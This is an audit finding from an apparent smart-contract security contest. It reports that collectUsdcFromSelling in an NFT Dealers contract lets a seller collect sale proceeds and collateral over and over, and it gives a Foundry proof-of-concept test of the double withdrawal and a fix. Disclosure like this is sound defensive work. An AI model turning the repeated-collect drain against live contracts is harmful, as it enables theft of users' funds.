NFT Dealers

First Flight #58
Beginner FriendlyFoundry
100 EXP
Submission Details
Impact: high
Likelihood: high

Missing State Reset in collectUsdcFromSelling Allows Infinite USDC Drainage

Author Revealed upon completion

Root + Impact

Description

  • Under normal protocol flow, a seller calls collectUsdcFromSelling exactly once after their NFT is purchased to withdraw the sale proceeds minus fees, plus their returned collateral. Once collected, those funds should not be withdrawable again.

    collectUsdcFromSelling neither zeroes out collateralForMinting[tokenId] nor sets any "already collected" flag after executing the transfer. As long as the caller satisfies onlySeller and !listing.isActive, the function can be called an unlimited number of times, draining amountToSeller (including collateral) from the contract on every invocation until the contract's entire USDC balance is exhausted.

https://github.com/CodeHawks-Contests/2026-03-NFT-dealers/blob/f34038b7b948d0902ef5ae99e9f1a4964bd3cdb5/src/NFTDealers.sol#L171

function collectUsdcFromSelling(uint256 _listingId)
external
onlySeller(_listingId)
{
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
@> uint256 collateralToReturn = collateralForMinting[listing.tokenId];
// @> BUG: collateralForMinting is never zeroed; every call reads the same value
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
@> usdc.safeTransfer(msg.sender, amountToSeller);
// @> BUG: no flag or state change prevents a second identical call
}

Risk

Likelihood: High

  • Any whitelisted user who has completed at least one legitimate NFT sale can immediately invoke the function a second time with zero additional preconditions.

  • Attack cost is minimal — one mint and one buy are sufficient to arm the exploit, and subsequent drain calls can be batched in a single block via a malicious contract.

Impact: High

  • An attacker can withdraw every USDC token held by the contract, including other users' collateral and pending withdrawals, rendering the protocol insolvent.

  • All other sellers, pending claimants, and accrued protocol fees suffer permanent, unrecoverable loss.

Proof of Concept

Add code to 2026-03-NFT-dealers/test/NFTDealersTest.t.sol.Run forge test --match-test testPoC_C01_InfiniteCollect -vvvv

function testPoC_C01_InfiniteCollect() public revealed {
uint32 nftPrice = 1000e6;
uint256 lockAmt = nftDealers.lockAmount();
// Simulate that the contract has been running for a while and holds
// other users' deposits and accumulated fees (e.g., 5000 USDC).
// This ensures the contract has enough balance to be drained by the attacker
// during the malicious "second collect".
usdc.mint(address(nftDealers), 5000e6);
// Fund a victim to inject background USDC into the contract
address victim = makeAddr("victim");
usdc.mint(victim, lockAmt);
vm.prank(owner);
nftDealers.whitelistWallet(victim);
vm.startPrank(victim);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft(); // tokenId=1
vm.stopPrank();
// Alice: mint → list → sold by buyer
vm.prank(owner);
nftDealers.whitelistWallet(userWithCash);
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), lockAmt);
nftDealers.mintNft(); // tokenId=2
uint256 userTokenId = 2;
nftDealers.list(userTokenId, nftPrice);
vm.stopPrank();
// Buyer buys the NFT
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), nftPrice);
nftDealers.buy(userTokenId);
vm.stopPrank();
// First collect — legitimate
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(userTokenId);
uint256 balanceAfterFirst = usdc.balanceOf(userWithCash);
// Second collect — should revert but does not (Because of the vulnerability)
vm.prank(userWithCash);
nftDealers.collectUsdcFromSelling(userTokenId);
uint256 balanceAfterSecond = usdc.balanceOf(userWithCash);
// Assert that the balance after the second collect is greater than after the first,
// proving successful double-spending / infinite drain.
assertGt(balanceAfterSecond, balanceAfterFirst,
"C-01: second collect succeeded - infinite drain confirmed");
}

Recommended Mitigation

Apply the Checks-Effects-Interactions (CEI) pattern: clear all relevant state before executing any external transfer. Introduce a price = 0 sentinel as the "already collected" guard so that re-entry and replay are both blocked.

function collectUsdcFromSelling(uint256 _listingId)
external
onlySeller(_listingId)
{
Listing memory listing = s_listings[_listingId];
require(!listing.isActive, "Listing must be inactive to collect USDC");
+ require(
+ collateralForMinting[listing.tokenId] > 0 || listing.price > 0,
+ "Already collected"
+ );
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
+ // CEI: clear state before transferring funds
+ collateralForMinting[listing.tokenId] = 0;
+ s_listings[_listingId].price = 0;
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!